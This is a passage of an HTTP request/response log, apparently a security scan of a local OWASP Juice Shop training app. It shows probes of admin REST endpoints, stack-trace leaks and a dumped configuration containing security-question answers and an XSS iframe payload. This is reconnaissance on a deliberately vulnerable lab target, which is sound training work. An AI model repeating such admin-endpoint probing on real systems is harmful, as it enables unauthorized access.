a.apply(this,arguments)}}(),yaml:function(){var a=(0,w.Z)(function*(){return yield c.e(472).then(c.bind(c,8472))});return function(){return a.apply(this,arguments)}}()}}},Pt,b.e,he,Ht,Be,R,be,Ce,Lt,Vt,Kt,Se,ke,Qt,Ie,X,ot,I.N_,Ot,W,ue,Ut,ht,Fe,Ge.t,mt,Wt,ce,pe,Dt,He,ge],imports:[k.b2,ip,u.aw.forRoot({loader:{provide:u.Zw,useFactory:yd,deps:[L.eN]}}),I.m$.forRoot(),Ct.tw.forRoot(),xd.o9,L.JF,s.UX,bd.PW,xe.uK,se.N,te.Ob,tn.Iq,ae.ef,yt.g0,F.Ps,s.u5,f.lN,vt.LD,x.ot,At.SJ,d.p0,xt.TU,T.QW,B.c,Xt.p9,N.Is,z.t,Et.FA,Gt.XK,V.To,Ee.Cv,Q.AV,Ft.Tx,Zt.ie,Me.vV,re.xu,zt.N6,en.PQ,De.g,nt.Fk,ut.ZX,ve.KP,Mt.Nh,jt.rP,ie.Hi,Pe.mC,oe._l,Td]}),n;var a})();P.N.production&&(0,t.G48)(),k.q6().bootstrapModule(Zd).catch(n=>console.log(n))}},tt=>{tt.O(0,[736],()=>tt(tt.s=6645)),tt.O()}]);'
GET http://localhost:3000/rest/continue-code HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: application/json, text/plain, */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 79\r\nETag: W/"4f-6FhMg4H2SSdviEYbgMV/q+FgUzg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:31:26 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"continueCode":"aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3"}'
GET http://localhost:3000/rest HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/rest/admin HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/admin</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/admin</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/rest/admin/application-configuration HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"4993-Oz9kS67Z/2Q7h9VfrxO8V9OVt0M"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","showVersionNumber":true,"showGitHubLinks":true,"localBackupEnabled":true,"numberOfRandomFakeUsers":0,"altcoinName":"Juicycoin","privacyContactEmail":"donotreply@owasp-juice.shop","customMetricsPrefix":"juiceshop","chatBot":{"name":"Juicy","greeting":"Nice to meet you <customer-name>, I\'m <bot-name>","trainingData":"botDefaultTrainingData.json","defaultResponse":"Sorry I couldn\'t understand what you were trying to say","avatar":"JuicyChatBot.png"},"social":{"twitterUrl":"https://twitter.com/owasp_juiceshop","facebookUrl":"https://www.facebook.com/owasp.juiceshop","slackUrl":"https://owasp.org/slack/invite","redditUrl":"https://www.reddit.com/r/owasp_juiceshop","pressKitUrl":"https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop","nftUrl":"https://opensea.io/collection/juice-shop","questionnaireUrl":null},"recyclePage":{"topProductImage":"fruit_press.jpg","bottomProductImage":"apple_pressings.jpg"},"welcomeBanner":{"showOnFirstStart":true,"title":"Welcome to OWASP Juice Shop!","message":"<p>Being a web application with a vast number of intended security vulnerabilities, the <strong>OWASP Juice Shop</strong> is supposed to be the opposite of a best practice or template application for web developers: It is an awareness, training, demonstration and exercise tool for security risks in modern web applications. The <strong>OWASP Juice Shop</strong> is an open-source project hosted by the non-profit <a href=\'https://owasp.org\' target=\'_blank\'>Open Web Application Security Project (OWASP)</a> and is developed and maintained by volunteers. Check out the link below for more information and documentation on the project.</p><h1><a href=\'https://owasp-juice.shop\' target=\'_blank\'>https://owasp-juice.shop</a></h1>"},"cookieConsent":{"message":"This website uses fruit cookies to ensure you get the juiciest tracking experience.","dismissText":"Me want it!","linkText":"But me wait!","linkUrl":"https://www.youtube.com/watch?v=9PnbKL3wuH4"},"securityTxt":{"contact":"mailto:donotreply@owasp-juice.shop","encryption":"https://keybase.io/bkimminich/pgp_keys.asc?fingerprint=19c01cb7157e4645e9e2c863062a85a8cbfbdcda","acknowledgements":"/#/score-board","hiring":"/#/jobs"},"promotion":{"video":"owasp_promo.mp4","subtitles":"owasp_promo.vtt"},"easterEggPlanet":{"name":"Orangeuze","overlayMap":"orangemap2k.jpg"},"googleOauth":{"clientId":"1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com","authorizedRedirects":[{"uri":"https://demo.owasp-juice.shop"},{"uri":"https://juice-shop.herokuapp.com"},{"uri":"https://preview.owasp-juice.shop"},{"uri":"https://juice-shop-staging.herokuapp.com"},{"uri":"https://juice-shop.wtf"},{"uri":"http://localhost:3000","proxy":"https://local3000.owasp-juice.shop"},{"uri":"http://127.0.0.1:3000","proxy":"https://local3000.owasp-juice.shop"},{"uri":"http://localhost:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://127.0.0.1:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://192.168.99.100:3000","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://192.168.99.100:4200","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:3000","proxy":"https://localchromeos.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:4200","proxy":"https://localchromeos.owasp-juice.shop"}]}},"challenges":{"showSolvedNotifications":true,"showHints":true,"showMitigations":true,"codingChallengesEnabled":"solved","restrictToTutorialsFirst":false,"overwriteUrlForProductTamperingChallenge":"https://owasp.slack.com","xssBonusPayload":"<iframe width=\\"100%\\" height=\\"166\\" scrolling=\\"no\\" frameborder=\\"no\\" allow=\\"autoplay\\" src=\\"https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true\\"></iframe>","safetyOverride":false,"showFeedbackButtons":true},"hackingInstructor":{"isEnabled":true,"avatarImage":"JuicyBot.png","hintPlaybackSpeed":"normal"},"products":[{"name":"Apple Juice (1000ml)","price":1.99,"deluxePrice":0.99,"limitPerUser":5,"description":"The all-time classic.","image":"apple_juice.jpg","reviews":[{"text":"One of my favorites!","author":"admin"}]},{"name":"Orange Juice (1000ml)","description":"Made from oranges hand-picked by Uncle Dittmeyer.","price":2.99,"deluxePrice":2.49,"image":"orange_juice.jpg","reviews":[{"text":"y0ur f1r3wall needs m0r3 musc13","author":"uvogin"}]},{"name":"Eggfruit Juice (500ml)","description":"Now with even more exotic flavour.","price":8.99,"image":"eggfruit_juice.jpg","reviews":[{"text":"I bought it, would buy again. 5/7","author":"admin"}]},{"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"image":"raspberry_juice.jpg"},{"name":"Lemon Juice (500ml)","description":"Sour but full of vitamins.","price":2.99,"deluxePrice":1.99,"limitPerUser":5,"image":"lemon_juice.jpg"},{"name":"Banana Juice (1000ml)","description":"Monkeys love it the most.","price":1.99,"image":"banana_juice.jpg","reviews":[{"text":"Fry liked it too.","author":"bender"}]},{"name":"OWASP Juice Shop T-Shirt","description":"Real fans wear it 24/7!","price":22.49,"limitPerUser":5,"image":"fan_shirt.jpg"},{"name":"OWASP Juice Shop CTF Girlie-Shirt","description":"For serious Capture-the-Flag heroines only!","price":22.49,"image":"fan_girlie.jpg"},{"name":"OWASP SSL Advanced Forensic Tool (O-Saft)","description":"O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations.","price":0.01,"image":"orange_juice.jpg","urlForProductTamperingChallenge":"https://www.owasp.org/index.php/O-Saft"},{"name":"Christmas Super-Surprise-Box (2014 Edition)","description":"Contains a random selection of 10 bottles (each 500ml) of our tastiest juices and an extra fan shirt for an unbeatable price!","price":29.99,"image":"undefined.jpg","useForChristmasSpecialChallenge":true},{"name":"Rippertuer Special Juice","description":"Contains a magical collection of the rarest fruits gathered from all around the world, like Cherymoya Annona cherimola, Jabuticaba Myrciaria cauliflora, Bael Aegle marmelos... and others, at an unbelievable price! <br/><span style=\\"color:red;\\">This item has been made unavailable because of lack of safety standards.</span>","price":16.99,"image":"undefined.jpg","keywordsForPastebinDataLeakChallenge":["hueteroneel","eurogium edule"]},{"name":"OWASP Juice Shop Sticker (2015/2016 design)","description":"Die-cut sticker with the official 2015/2016 logo. By now this is a rare collectors item. <em>Out of stock!</em>","price":999.99,"image":"sticker.png","deletedDate":"2017-04-28"},{"name":"OWASP Juice Shop Iron-Ons (16pcs)","description":"Upgrade your clothes with washer safe <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">iron-ons</a> of the OWASP Juice Shop or CTF Extension logo!","price":14.99,"image":"iron-on.jpg"},{"name":"OWASP Juice Shop Magnets (16pcs)","description":"Your fridge will be even cooler with these OWASP Juice Shop or CTF Extension logo <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">magnets</a>!","price":15.99,"image":"magnets.jpg"},{"name":"OWASP Juice Shop Sticker Page","description":"Massive decoration opportunities with these OWASP Juice Shop or CTF Extension <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker pages</a>! Each page has 16 stickers on it.","price":9.99,"image":"sticker_page.jpg"},{"name":"OWASP Juice Shop Sticker Single","description":"Super high-quality vinyl <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker single</a> with the OWASP Juice Shop or CTF Extension logo! The ultimate laptop decal!","price":4.99,"image":"sticker_single.jpg"},{"name":"OWASP Juice Shop Temporary Tattoos (16pcs)","description":"Get one of these <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">temporary tattoos</a> to proudly wear the OWASP Juice Shop or CTF Extension logo on your skin! If you tweet a photo of yourself with the tattoo, you get a couple of our stickers for free! Please mention <a href=\\"https://twitter.com/owasp_juiceshop\\" target=\\"_blank\\"><code>@owasp_juiceshop</code></a> in your tweet!","price":14.99,"image":"tattoo.jpg","reviews":[{"text":"I straight-up gots nuff props fo\'these tattoos!","author":"rapper"}]},{"name":"OWASP Juice Shop Mug","description":"Black mug with regular logo on one side and CTF logo on the other! Your colleagues will envy you!","price":21.99,"image":"fan_mug.jpg"},{"name":"OWASP Juice Shop Hoodie","description":"Mr. Robot-style apparel. But in black. And with logo.","price":49.99,"image":"fan_hoodie.jpg"},{"name":"OWASP Juice Shop-CTF Velcro Patch","description":"4x3.5\\" embroidered patch with velcro backside. The ultimate decal for every tactical bag or backpack!","price":2.92,"quantity":5,"limitPerUser":5,"image":"velcro-patch.jpg","reviews":[{"text":"This thang would look phat on Bobby\'s jacked fur coat!","author":"rapper"},{"text":"Looks so much better on my uniform than the boring Starfleet symbol.","author":"jim"}]},{"name":"Woodruff Syrup \\"Forest Master X-Treme\\"","description":"Harvested and manufactured in the Black Forest, Germany. Can cause hyperactive behavior in children. Can cause permanent green tongue when consumed undiluted.","price":6.99,"image":"woodruff_syrup.jpg"},{"name":"Green Smoothie","description":"Looks poisonous but is actually very good for your health! Made from green cabbage, spinach, kiwi and grass.","price":1.99,"image":"green_smoothie.jpg","reviews":[{"text":"Fresh out of a replicator.","author":"jim"}]},{"name":"Quince Juice (1000ml)","description":"Juice of the <em>Cydonia oblonga</em> fruit. Not exactly sweet but rich in Vitamin C.","price":4.99,"image":"quince.jpg"},{"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\\"/#recycle\\">sent back to us</a> for recycling.","price":0.89,"limitPerUser":5,"image":"apple_pressings.jpg"},{"name":"Fruit Press","description":"Fruits go in. Juice comes out. Pomace you can send back to us for recycling purposes.","price":89.99,"image":"fruit_press.jpg"},{"name":"OWASP Juice Shop Logo (3D-printed)","description":"This rare item was designed and handcrafted in Sweden. This is why it is so incredibly expensive despite its complete lack of purpose.","price":99.99,"image":"3d_keychain.jpg","fileForRetrieveBlueprintChallenge":"JuiceShop.stl","exifForBlueprintChallenge":["OpenSCAD"]},{"name":"Juice Shop Artwork","description":"Unique masterpiece painted with different kinds of juice on 90g/m\xc2\xb2 lined paper.","price":278.74,"quantity":0,"image":"artwork.jpg","deletedDate":"2020-12-24"},{"name":"Global OWASP WASPY Award 2017 Nomination","description":"Your chance to nominate up to three quiet pillars of the OWASP community ends 2017-06-30! <a href=\\"https://www.owasp.org/index.php/WASPY_Awards_2017\\">Nominate now!</a>","price":0.03,"image":"waspy.png","deletedDate":"2017-07-01"},{"name":"Strawberry Juice (500ml)","description":"Sweet & tasty!","price":3.99,"image":"strawberry_juice.jpeg"},{"name":"Carrot Juice (1000ml)","description":"As the old German saying goes: \\"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\\"","price":2.99,"image":"carrot_juice.jpeg","reviews":[{"text":"0 st4rs f0r 7h3 h0rr1bl3 s3cur17y","author":"uvogin"}]},{"name":"OWASP Juice Shop Sweden Tour 2017 Sticker Sheet (Special Edition)","description":"10 sheets of Sweden-themed stickers with 15 stickers on each.","price":19.1,"image":"stickersheet_se.png","deletedDate":"2017-09-20"},{"name":"Pwning OWASP Juice Shop","description":"<em>The official Companion Guide</em> by Bj\xc3\xb6rn Kimminich available <a href=\\"https://leanpub.com/juice-shop\\">for free on LeanPub</a> and also <a href=\\"https://pwning.owasp-juice.shop\\">readable online</a>!","price":5.99,"image":"cover_small.jpg","reviews":[{"text":"Even more interesting than watching Interdimensional Cable!","author":"morty"}]},{"name":"Melon Bike (Comeback-Product 2018 Edition)","description":"The wheels of this bicycle are made from real water melons. You might not want to ride it up/down the curb too hard.","price":2999,"quantity":3,"limitPerUser":1,"image":"melon_bike.jpeg"},{"name":"OWASP Juice Shop Coaster (10pcs)","description":"Our 95mm circle coasters are printed in full color and made from thick, premium coaster board.","price":19.99,"quantity":0,"image":"coaster.jpg"},{"name":"OWASP Snakes and Ladders - Web Applications","description":"This amazing web application security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1969196030\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"quantity":8,"image":"snakes_ladders.jpg","reviews":[{"text":"Wait for a 10$ Steam sale of Tabletop Simulator!","author":"bjoernOwasp"}]},{"name":"OWASP Snakes and Ladders - Mobile Apps","description":"This amazing mobile app security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1970691216\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"quantity":0,"image":"snakes_ladders_m.jpg","reviews":[{"text":"Here yo\' learn how tha fuck ta not show yo\' goddamn phone on camera!","author":"rapper"}]},{"name":"OWASP Juice Shop Holographic Sticker","description":"Die-cut holographic sticker. Stand out from those 08/15-sticker-covered laptops with this shiny beacon of 80\'s coolness!","price":2,"quantity":0,"image":"holo_sticker.png","reviews":[{"text":"Rad, dude!","author":"rapper"},{"text":"Looks spacy on Bones\' new tricorder!","author":"jim"},{"text":"Will put one on the Planet Express ship\'s bumper!","author":"bender"}]},{"name":"OWASP Juice Shop \\"King of the Hill\\" Facemask","description":"Facemask with compartment for filter from 50% cotton and 50% polyester.","price":13.49,"quantity":0,"limitPerUser":1,"image":"fan_facemask.jpg","reviews":[{"text":"K33p5 y0ur ju1cy 5plu773r 70 y0ur53lf!","author":"uvogin"},{"text":"Puny mask for puny human weaklings!","author":"bender"}]},{"name":"Juice Shop Adversary Trading Card (Common)","description":"Common rarity \\"Juice Shop\\" card for the <a href=\\"https://docs.google.com/forms/d/e/1FAIpQLSecLEakawSQ56lBe2JOSbFwFYrKDCIN7Yd3iHFdQc5z8ApwdQ/viewform\\">Adversary Trading Cards</a> CCG.","price":2.99,"deluxePrice":0.99,"deletedDate":"2020-11-30","limitPerUser":5,"image":"ccg_common.png","reviews":[{"text":"Ooooh, puny human playing Mau Mau, now?","author":"bender"}]},{"name":"Juice Shop Adversary Trading Card (Super Rare)","description":"Super rare \\"Juice Shop\\" card with holographic foil-coating for the <a href=\\"https://docs.google.com/forms/d/e/1FAIpQLSecLEakawSQ56lBe2JOSbFwFYrKDCIN7Yd3iHFdQc5z8ApwdQ/viewform\\">Adversary Trading Cards</a> CCG.","price":99.99,"deluxePrice":69.99,"deletedDate":"2020-11-30","quantity":2,"limitPerUser":1,"image":"ccg_foil.png","reviews":[{"text":"Mau Mau with bling-bling? Humans are so pathetic!","author":"bender"}]},{"name":"Juice Shop \\"Permafrost\\" 2020 Edition","description":"Exact version of <a href=\\"https://github.com/juice-shop/juice-shop/releases/tag/v9.3.1-PERMAFROST\\">OWASP Juice Shop that was archived on 02/02/2020</a> by the GitHub Archive Program and ultimately went into the <a href=\\"https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic\\">Arctic Code Vault</a> on July 8. 2020 where it will be safely stored for at least 1000 years.","price":9999.99,"quantity":1,"limitPerUser":1,"image":"permafrost.jpg","reviews":[{"text":"\xf0\x9f\xa7\x8a Let it go, let it go \xf0\x9f\x8e\xb6 Can\'t hold it back anymore \xf0\x9f\x8e\xb6 Let it go, let it go \xf0\x9f\x8e\xb6 Turn away and slam the door \xe2\x9d\x84\xef\xb8\x8f","author":"rapper"}]},{"name":"Best Juice Shop Salesman Artwork","description":"Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before <em>finally</em> adding his expertise to the Juice Shop marketing team.","price":5000,"quantity":1,"image":"artwork2.jpg","reviews":[{"text":"I\'d stand on my head to make you a deal for this piece of art.","author":"stan"},{"text":"Just when my opinion of humans couldn\'t get any lower, along comes Stan...","author":"bender"}]},{"name":"OWASP Juice Shop Card (non-foil)","description":"Mythic rare <small><em>(obviously...)</em></small> card \\"OWASP Juice Shop\\" with three distinctly useful abilities. Alpha printing, mint condition. A true collectors piece to own!","price":1000,"quantity":3,"limitPerUser":1,"image":"card_alpha.jpg","reviews":[{"text":"DO NOT PLAY WITH THIS! Double-sleeve, then put it in the GitHub Arctic Vault for perfect preservation and boost of secondary market value!","author":"accountant"}]},{"name":"20th Anniversary Celebration Ticket","description":"Get your <a href=\\"https://20thanniversary.owasp.org/\\" target=\\"_blank\\">free \xf0\x9f\x8e\xab for OWASP 20th Anniversary Celebration</a> online conference! Hear from world renowned keynotes and special speakers, network with your peers and interact with our event sponsors. With an anticipated 10k+ attendees from around the world, you will not want to miss this live on-line event!","price":1e-20,"deletedDate":"2021-09-25","limitPerUser":1,"image":"20th.jpeg","reviews":[{"text":"I\'ll be there! Will you, too?","author":"bjoernOwasp"}]}],"memories":[{"image":"magn(et)ificent!-1571814229653.jpg","caption":"Magn(et)ificent!","user":"bjoernGoogle"},{"image":"my-rare-collectors-item!-[\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85(\xcc\xb2\xcc\x85-\xcd\xa1\xc2\xb0-\xcd\x9c\xca\x96-\xcd\xa1\xc2\xb0\xcc\xb2\xcc\x85)\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85]-1572603645543.jpg","caption":"My rare collectors item! [\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85(\xcc\xb2\xcc\x85 \xcd\xa1\xc2\xb0 \xcd\x9c\xca\x96 \xcd\xa1\xc2\xb0\xcc\xb2\xcc\x85)\xcc\xb2\xcc\x85$\xcc\xb2\xcc\x85]","user":"bjoernGoogle"},{"image":"favorite-hiking-place.png","caption":"I love going hiking here...","geoStalkingMetaSecurityQuestion":14,"geoStalkingMetaSecurityAnswer":"Daniel Boone National Forest"},{"image":"IMG_4253.jpg","caption":"My old workplace...","geoStalkingVisualSecurityQuestion":10,"geoStalkingVisualSecurityAnswer":"ITsec"},{"image":"BeeHaven.png","caption":"Welcome to the Bee Haven (/#/bee-haven)\xf0\x9f\x90\x9d","user":"evm"}],"ctf":{"showFlagsInNotifications":false,"showCountryDetailsInNotifications":"none","countryMapping":null}}}'
GET http://localhost:3000/103.js HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
